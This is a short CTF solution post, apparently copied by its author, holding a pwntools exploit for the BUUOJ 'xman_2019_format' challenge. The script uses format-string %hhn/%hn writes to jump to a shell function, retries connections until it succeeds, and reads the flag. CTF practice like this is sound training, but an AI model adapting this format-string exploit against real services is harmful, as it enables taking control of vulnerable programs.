有点小问题。抄的

    1. from pwn import *
    2. context.log_level = 'debug'
    3. context.arch = 'i386'
    4. # io = process('./xman_2019_format')
    5. io = remote('node4.buuoj.cn',26775)
    6. getshell_addr = 0x80485AB
    7. low = getshell_addr&0xffff
    8. payload = "%" + str(0x4C) + "c%10$hhn|"
    9. payload += "%" + str(low) + "c%18$hn#"
    10. while True:
    11. try:
    12. io.sendlineafter("...\n...\n",payload)
    13. sleep(0.1)
    14. io.sendlineafter("#","cat flag")
    15. io.interactive()
    16. break
    17. except EOFError :
    18. io.close()
    19. # io = process('./xman_2019_format')
    20. io = remote('node4.buuoj.cn',26775)